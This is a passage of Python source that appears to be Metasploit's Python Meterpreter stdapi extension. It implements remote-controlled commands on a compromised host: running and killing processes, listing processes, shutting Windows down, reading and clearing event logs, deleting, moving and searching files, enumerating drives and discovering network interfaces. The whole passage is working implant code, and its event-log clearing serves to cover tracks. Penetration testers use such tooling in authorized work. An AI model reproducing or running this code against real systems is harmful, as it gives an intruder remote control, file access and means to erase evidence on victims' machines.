if has_pty and (flags & PROCESS_EXECUTE_FLAG_PTY):
|
|
master, slave = pty.openpty()
|
|
if has_termios:
|
|
try:
|
|
settings = termios.tcgetattr(master)
|
|
termios.tcsetattr(master, termios.TCSADRAIN, settings)
|
|
except:
|
|
pass
|
|
proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0, preexec_fn=os.setsid)
|
|
proc_h.stdin = os.fdopen(master, 'wb')
|
|
proc_h.stdout = os.fdopen(master, 'rb')
|
|
proc_h.stderr = open(os.devnull, 'rb')
|
|
proc_h.ptyfd = slave
|
|
else:
|
|
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
proc_h.echo_protection = True
|
|
proc_h.start()
|
|
else:
|
|
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
proc_h_id = meterpreter.add_process(proc_h)
|
|
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
|
|
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
|
|
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
|
channel_id = meterpreter.add_channel(MeterpreterProcess(proc_h))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_getpid(request, response):
|
|
response += tlv_pack(TLV_TYPE_PID, os.getpid())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_kill(request, response):
|
|
for pid in packet_enum_tlvs(request, TLV_TYPE_PID):
|
|
pid = pid['value']
|
|
if has_windll:
|
|
k32 = ctypes.windll.kernel32
|
|
proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
|
|
if not proc_h:
|
|
return error_result_windows(), response
|
|
if not k32.TerminateProcess(proc_h, 0):
|
|
return error_result_windows(), response
|
|
elif hasattr(os, 'kill'):
|
|
os.kill(pid, 9)
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_sys_process_get_processes_via_proc(request, response):
|
|
for pid in os.listdir('/proc'):
|
|
pgroup = bytes()
|
|
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
|
|
continue
|
|
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
|
|
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
|
|
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
|
|
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
|
|
status = {}
|
|
for k, v in filter(lambda x: len(x) == 2, status_data):
|
|
status[k[:-1]] = v.strip()
|
|
ppid = status.get('PPid')
|
|
uid = status.get('Uid').split('\t', 1)[0]
|
|
if has_pwd:
|
|
uid = pwd.getpwuid(int(uid)).pw_name
|
|
if cmd:
|
|
pname = os.path.basename(cmd.split(' ', 1)[0])
|
|
ppath = cmd
|
|
else:
|
|
pname = '[' + status['Name'] + ']'
|
|
ppath = ''
|
|
pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
|
|
if ppid:
|
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
|
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
|
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_sys_process_get_processes_via_ps(request, response):
|
|
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
|
|
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
ps_output = str(proc_h.stdout.read())
|
|
ps_output = ps_output.split('\n')
|
|
ps_output.pop(0)
|
|
for process in ps_output:
|
|
process = process.split()
|
|
if len(process) < 4:
|
|
break
|
|
pgroup = bytes()
|
|
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
|
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
|
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
|
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_sys_process_get_processes_via_windll(request, response):
|
|
TH32CS_SNAPPROCESS = 2
|
|
TOKEN_QUERY = 0x0008
|
|
TokenUser = 1
|
|
k32 = ctypes.windll.kernel32
|
|
pe32 = PROCESSENTRY32()
|
|
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
|
|
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
|
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
|
|
if not result:
|
|
return error_result_windows(), response
|
|
while result:
|
|
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
|
|
if not proc_h:
|
|
proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
|
|
exe_path = (ctypes.c_char * 1024)()
|
|
success = False
|
|
if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
|
|
success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
|
elif hasattr(k32, 'GetModuleFileNameExA'):
|
|
success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
|
if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
|
|
dw_sz = ctypes.c_uint32()
|
|
dw_sz.value = ctypes.sizeof(exe_path)
|
|
success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
|
|
if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
|
|
success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
|
|
if success:
|
|
exe_path = ctypes.string_at(exe_path)
|
|
else:
|
|
exe_path = ''
|
|
process_username = ''
|
|
process_token_user = get_token_user(proc_h)
|
|
if process_token_user:
|
|
process_username = get_username_from_token(process_token_user) or ''
|
|
parch = windll_GetNativeSystemInfo()
|
|
is_wow64 = ctypes.c_ubyte()
|
|
is_wow64.value = 0
|
|
if hasattr(k32, 'IsWow64Process'):
|
|
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
|
if is_wow64.value:
|
|
parch = PROCESS_ARCH_X86
|
|
pgroup = bytes()
|
|
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
|
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
|
|
k32.CloseHandle(proc_h)
|
|
k32.CloseHandle(proc_snap)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_get_processes(request, response):
|
|
if os.path.isdir('/proc'):
|
|
return stdapi_sys_process_get_processes_via_proc(request, response)
|
|
elif has_windll:
|
|
return stdapi_sys_process_get_processes_via_windll(request, response)
|
|
else:
|
|
return stdapi_sys_process_get_processes_via_ps(request, response)
|
|
return ERROR_FAILURE, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_power_exitwindows(request, response):
|
|
SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
|
|
|
|
flags = packet_get_tlv(request, TLV_TYPE_POWER_FLAGS)['value']
|
|
reason = packet_get_tlv(request, TLV_TYPE_POWER_REASON)['value']
|
|
|
|
if not enable_privilege(SE_SHUTDOWN_NAME):
|
|
return error_result_windows(), response
|
|
|
|
ExitWindowsEx = ctypes.windll.user32.ExitWindowsEx
|
|
ExitWindowsEx.argtypes = [ctypes.c_uint32, ctypes.c_ulong]
|
|
ExitWindowsEx.restype = ctypes.c_int8
|
|
if not ExitWindowsEx(flags, reason):
|
|
return error_result_windows(), response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_open(request, response):
|
|
source_name = packet_get_tlv(request, TLV_TYPE_EVENT_SOURCENAME)['value']
|
|
handle = ctypes.windll.advapi32.OpenEventLogW(None, source_name)
|
|
if not handle:
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_EVENT_HANDLE, handle)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_read(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
flags = packet_get_tlv(request, TLV_TYPE_EVENT_READFLAGS)['value']
|
|
offset = packet_get_tlv(request, TLV_TYPE_EVENT_RECORDOFFSET)['value']
|
|
adv32 = ctypes.windll.advapi32
|
|
bytes_read = ctypes.c_ulong(0)
|
|
bytes_needed = ctypes.c_ulong(0)
|
|
if adv32.ReadEventLogW(handle, flags, offset, ctypes.byref(bytes_read), 0, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
|
|
return error_result_windows(), response
|
|
buf = ctypes.create_unicode_buffer(bytes_needed.value)
|
|
if not adv32.ReadEventLogW(handle, flags, offset, buf, bytes_needed, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
|
|
return error_result_windows(), response
|
|
record = ctstruct_unpack(EVENTLOGRECORD, buf)
|
|
response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, record.RecordNumber)
|
|
response += tlv_pack(TLV_TYPE_EVENT_TIMEGENERATED, record.TimeGenerated)
|
|
response += tlv_pack(TLV_TYPE_EVENT_TIMEWRITTEN, record.TimeWritten)
|
|
response += tlv_pack(TLV_TYPE_EVENT_ID, record.EventID)
|
|
response += tlv_pack(TLV_TYPE_EVENT_TYPE, record.EventType)
|
|
response += tlv_pack(TLV_TYPE_EVENT_CATEGORY, record.EventCategory)
|
|
response += tlv_pack(TLV_TYPE_EVENT_DATA, buf.raw[record.DataOffset:record.DataOffset + record.DataLength])
|
|
event_strings = buf.raw[record.StringOffset:].split('\x00', record.NumStrings)
|
|
for event_string in event_strings:
|
|
response += tlv_pack(TLV_TYPE_EVENT_STRING, event_string)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_clear(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
if not ctypes.windll.advapi32.ClearEventLogW(handle, None):
|
|
return error_result_windows(), response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_numrecords(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
total = ctypes.c_ulong(0)
|
|
if not ctypes.windll.advapi32.GetNumberOfEventLogRecords(handle, ctypes.byref(total)):
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_EVENT_NUMRECORDS, total.value)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_oldest(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
oldest = ctypes.c_ulong(0)
|
|
if not ctypes.windll.advapi32.GetOldestEventLogRecordW(handle, ctypes.byref(oldest)):
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, oldest)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_close(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
if not ctypes.windll.advapi32.CloseEventLogW(handle):
|
|
return error_result_windows(), response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_chdir(request, response):
|
|
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
os.chdir(unicode(wd))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_delete_dir(request, response):
|
|
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
dir_path = unicode(dir_path)
|
|
if os.path.islink(dir_path):
|
|
del_func = os.unlink
|
|
else:
|
|
del_func = shutil.rmtree
|
|
try:
|
|
del_func(dir_path)
|
|
except OSError:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_delete_file(request, response):
|
|
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
if has_windll:
|
|
subprocess.call(unicode("attrib.exe -r ") + file_path)
|
|
try:
|
|
os.unlink(unicode(file_path))
|
|
except OSError:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_file_expand_path(request, response):
|
|
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
if has_windll:
|
|
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
|
|
path_out = (ctypes.c_char * 4096)()
|
|
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
|
|
result = str(ctypes.string_at(path_out))
|
|
elif path_tlv == '%COMSPEC%':
|
|
result = '/bin/sh'
|
|
elif path_tlv in ['%TEMP%', '%TMP%']:
|
|
result = '/tmp'
|
|
else:
|
|
result = os.getenv(path_tlv, path_tlv)
|
|
if not result:
|
|
return ERROR_FAILURE, response
|
|
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_file_move(request, response):
|
|
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
|
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
os.rename(unicode(oldname), unicode(newname))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_file_copy(request, response):
|
|
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
|
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
shutil.copyfile(unicode(oldname), unicode(newname))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux'))
|
|
def stdapi_fs_chmod(request, response):
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
mode = packet_get_tlv(request, TLV_TYPE_FILE_MODE_T)['value']
|
|
os.chmod(unicode(path), mode)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_getwd(request, response):
|
|
if hasattr(os, 'getcwdu'):
|
|
wd = os.getcwdu()
|
|
else:
|
|
wd = os.getcwd()
|
|
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_ls(request, response):
|
|
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
path = os.path.abspath(unicode(path))
|
|
glob = '*'
|
|
if any((c in ['*','[','?']) for c in path):
|
|
glob = os.path.basename(path)
|
|
path = os.path.dirname(path)
|
|
for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)):
|
|
file_path = os.path.join(path, file_name)
|
|
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
|
|
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
|
|
try:
|
|
st_buf = get_stat_buffer(file_path)
|
|
except OSError:
|
|
st_buf = bytes()
|
|
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_md5(request, response):
|
|
try:
|
|
import hashlib
|
|
m = hashlib.md5()
|
|
except ImportError:
|
|
import md5
|
|
m = md5.new()
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
m.update(open(path, 'rb').read())
|
|
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_mkdir(request, response):
|
|
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
dir_path = unicode(dir_path)
|
|
if not os.path.isdir(dir_path):
|
|
os.mkdir(dir_path)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_search(request, response):
|
|
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
|
|
if not search_root: # sometimes it's an empty string
|
|
search_root = '.'
|
|
search_root = unicode(search_root)
|
|
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
|
|
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
|
|
start_date = packet_get_tlv(request,TLV_TYPE_SEARCH_M_START_DATE)
|
|
end_date = packet_get_tlv(request,TLV_TYPE_SEARCH_M_END_DATE)
|
|
if recurse:
|
|
for root, dirs, files in os.walk(search_root):
|
|
for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
|
|
file_stat = os.stat(os.path.join(root, f))
|
|
mtime = int(file_stat.st_mtime)
|
|
if start_date and start_date['value'] > mtime:
|
|
continue
|
|
if end_date and end_date['value'] < mtime:
|
|
continue
|
|
file_tlv = bytes()
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, file_stat.st_size)
|
|
file_tlv += tlv_pack(TLV_TYPE_SEARCH_MTIME, mtime)
|
|
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
|
else:
|
|
for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
|
|
file_stat = os.stat(os.path.join(search_root, f))
|
|
mtime = int(file_stat.st_mtime)
|
|
if start_date and start_date['value'] > mtime:
|
|
continue
|
|
if end_date and end_date['value'] < mtime:
|
|
continue
|
|
file_tlv = bytes()
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, file_stat.st_size)
|
|
file_tlv += tlv_pack(TLV_TYPE_SEARCH_MTIME, mtime)
|
|
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_separator(request, response):
|
|
response += tlv_pack(TLV_TYPE_STRING, os.sep)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_sha1(request, response):
|
|
try:
|
|
import hashlib
|
|
m = hashlib.sha1()
|
|
except ImportError:
|
|
import sha
|
|
m = sha.new()
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
m.update(open(path, 'rb').read())
|
|
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_stat(request, response):
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
st_buf = get_stat_buffer(unicode(path))
|
|
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_fs_mount_show(request, response):
|
|
letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
|
|
k32 = ctypes.windll.kernel32
|
|
mpr = ctypes.windll.mpr
|
|
# Retrieves a bitmask representing the currently available disk drives
|
|
bitmask = k32.GetLogicalDrives()
|
|
# List of currently available disk drives
|
|
drives = []
|
|
for drive_letter in letters:
|
|
# Check if drive is present
|
|
if bitmask & 1:
|
|
drives.append(drive_letter + ':')
|
|
# Move to next drive letter
|
|
bitmask >>= 1
|
|
for drive in drives:
|
|
drive_type = k32.GetDriveTypeW(drive)
|
|
mount = bytes()
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_NAME, drive)
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_TYPE, drive_type)
|
|
# Get UNC path for network drives
|
|
if drive_type == DRIVE_REMOTE:
|
|
buf = ctypes.create_unicode_buffer(1024)
|
|
bufsize = ctypes.c_ulong(1024)
|
|
if mpr.WNetGetUniversalNameW(drive, UNIVERSAL_NAME_INFO_LEVEL, ctypes.byref(buf), ctypes.byref(bufsize)) == 0:
|
|
pUniversalNameInfo = ctstruct_unpack(UNIVERSAL_NAME_INFO, buf)
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_UNCPATH, pUniversalNameInfo.lpUniversalName)
|
|
# Retrieve information about the amount of space that is available on a disk volume
|
|
user_free_bytes = ctypes.c_ulonglong(0)
|
|
total_bytes = ctypes.c_ulonglong(0)
|
|
total_free_bytes = ctypes.c_ulonglong(0)
|
|
if k32.GetDiskFreeSpaceExW(drive, ctypes.byref(user_free_bytes), ctypes.byref(total_bytes), ctypes.byref(total_free_bytes)):
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_USER, user_free_bytes.value)
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_TOTAL, total_bytes.value)
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_FREE, total_free_bytes.value)
|
|
response += tlv_pack(TLV_TYPE_MOUNT_GROUP, mount)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_net_config_get_interfaces(request, response):
|
|
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
|
|
interfaces = stdapi_net_config_get_interfaces_via_netlink()
|
|
elif sys.platform == 'darwin':
|
|
interfaces = stdapi_net_config_get_interfaces_via_osx_ifconfig()
|
|
elif has_windll:
|
|
interfaces = stdapi_net_config_get_interfaces_via_windll()
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
for iface_info in interfaces:
|
|
iface_tlv = bytes()
|
|
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
|
|
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
|
|
if 'mtu' in iface_info:
|
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
|
|
if 'flags' in iface_info:
|
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
|
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
|
|
for address in iface_info.get('addrs', []):
|
|
iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
|
|
if isinstance(address[2], (int, long)):
|
|
iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
|
|
else:
|
|
iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
|
|
response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_net_config_get_interfaces_via_netlink():
|
|
rta_align = lambda l: l+3 & ~3
|
|
iface_flags = {
|
|
0x0001: 'UP',
|
|
0x0002: 'BROADCAST',
|
|
0x0008: 'LOOPBACK',
|
|
0x0010: 'POINTTOPOINT',
|
|
0x0040: 'RUNNING',
|
|
0x0100: 'PROMISC',
|
|
0x1000: 'MULTICAST'
|
|
}
|
|
iface_flags_sorted = list(iface_flags.keys())
|
|
# Dictionaries don't maintain order
|
|
iface_flags_sorted.sort()
|
|
interfaces = {}
|
|
|
|
responses = netlink_request(RTM_GETLINK, IFINFOMSG())
|
|
for res_data in responses:
|
|
iface = ctstruct_unpack(IFINFOMSG, res_data)
|
|
iface_info = {'index':iface.index}
|
|
flags = []
|
|
for flag in iface_flags_sorted:
|
|
if (iface.flags & flag):
|
|
flags.append(iface_flags[flag])
|
|
iface_info['flags'] = ' '.join(flags)
|
|
cursor = ctypes.sizeof(IFINFOMSG)
|
|
while cursor < len(res_data):
|
|
attribute = ctstruct_unpack(RTATTR, res_data[cursor:])
|
|
at_len = attribute.len
|
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
|
cursor += rta_align(at_len)
|
|
|
|
if attribute.type == IFLA_ADDRESS:
|
|
iface_info['hw_addr'] = attr_data
|
|
elif attribute.type == IFLA_IFNAME:
|
|
iface_info['name'] = attr_data
|
|
elif attribute.type == IFLA_MTU:
|
|
iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
|
|
interfaces[iface.index] = iface_info
|
|
|
|
responses = netlink_request(RTM_GETADDR, IFADDRMSG())
|
|
for res_data in responses:
|
|
iface = ctstruct_unpack(IFADDRMSG, res_data)
|
|
if not iface.family in (socket.AF_INET, socket.AF_INET6):
|
|
continue
|
|
iface_info = interfaces.get(iface.index, {})
|
|
cursor = ctypes.sizeof(IFADDRMSG)
|
|
while cursor < len(res_data):
|
|
attribute = ctstruct_unpack(RTATTR, res_data[cursor:])
|
|
at_len = attribute.len
|
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
|
cursor += rta_align(at_len)
|
|
|
|
if attribute.type == IFA_ADDRESS:
|
|
nm_bits = iface.prefixlen
|
|
if iface.family == socket.AF_INET:
|
|
netmask = calculate_32bit_netmask(nm_bits)
|
|
else:
|
|
netmask = calculate_128bit_netmask(nm_bits)
|
|
addr_list = iface_info.get('addrs', [])
|
|
addr_list.append((iface.family, attr_data, netmask))
|
|
iface_info['addrs'] = addr_list
|
|
elif attribute.type == IFA_LABEL:
|
|
iface_info['name'] = attr_data
|
|
interfaces[iface.index] = iface_info
|
|
return interfaces.values()
|
|
|
|
def stdapi_net_config_get_interfaces_via_osx_ifconfig():
|
|
proc_h = subprocess.Popen('/sbin/ifconfig', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
if proc_h.wait():
|
|
raise Exception('ifconfig exited with non-zero status')
|
|
output = proc_h.stdout.read()
|
|
|
|
interfaces = []
|
|
iface = {}
|
|
for line in output.split('\n'):
|
|
match = re.match(r'^([a-z0-9]+): flags=(\d+)<[A-Z,]*> mtu (\d+)\s*$', line)
|
|
if match is not None:
|
|
if iface:
|
|
interfaces.append(iface)
|
|
iface = {}
|
|
iface['name'] = match.group(1)
|
|
iface['flags'] = int(match.group(2))
|
|
iface['mtu'] = int(match.group(3))
|
|
iface['index'] = len(interfaces)
|
|
continue
|
|
match = re.match(r'^\s+ether (([a-f0-9]{2}:){5}[a-f0-9]{2})\s*$', line)
|
|
if match is not None:
|
|
iface['hw_addr'] = ''.join(list(chr(int(b, 16)) for b in match.group(1).split(':')))
|
|
continue
|
|
match = re.match(r'^\s+inet ((\d+\.){3}\d+) netmask 0x([a-f0-9]{8})( broadcast ((\d+\.){3}\d+))?\s*$', line)
|
|
if match is not None:
|
|
addrs = iface.get('addrs', [])
|
|
netmask = struct.pack('!I', int(match.group(3), 16))
|
|
addrs.append((socket.AF_INET, inet_pton(socket.AF_INET, match.group(1)), netmask))
|
|
iface['addrs'] = addrs
|
|
continue
|
|
match = re.match(r'^\s+inet6 ([a-f0-9:]+)(%[a-z0-9]+)? prefixlen (\d+)( secured)?( scopeid 0x[a-f0-9]+)?\s*$', line)
|
|
if match is not None:
|
|
addrs = iface.get('addrs', [])
|
|
netmask = calculate_128bit_netmask(int(match.group(3)))
|
|
addrs.append((socket.AF_INET6, inet_pton(socket.AF_INET6, match.group(1)), netmask))
|
|
iface['addrs'] = addrs
|
|
continue
|
|
if iface:
|
|
interfaces.append(iface)
|
|
return interfaces
|
|
|
|
def stdapi_net_config_get_interfaces_via_windll():
|
|
iphlpapi = ctypes.windll.iphlpapi
|
|
Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
|
|
AdapterAddresses = ctypes.c_void_p()
|
|
SizePointer = ctypes.c_ulong()
|
|
SizePointer.value = 0
|
|
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
|
|
AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
|
|
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
|
|
AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
|
|
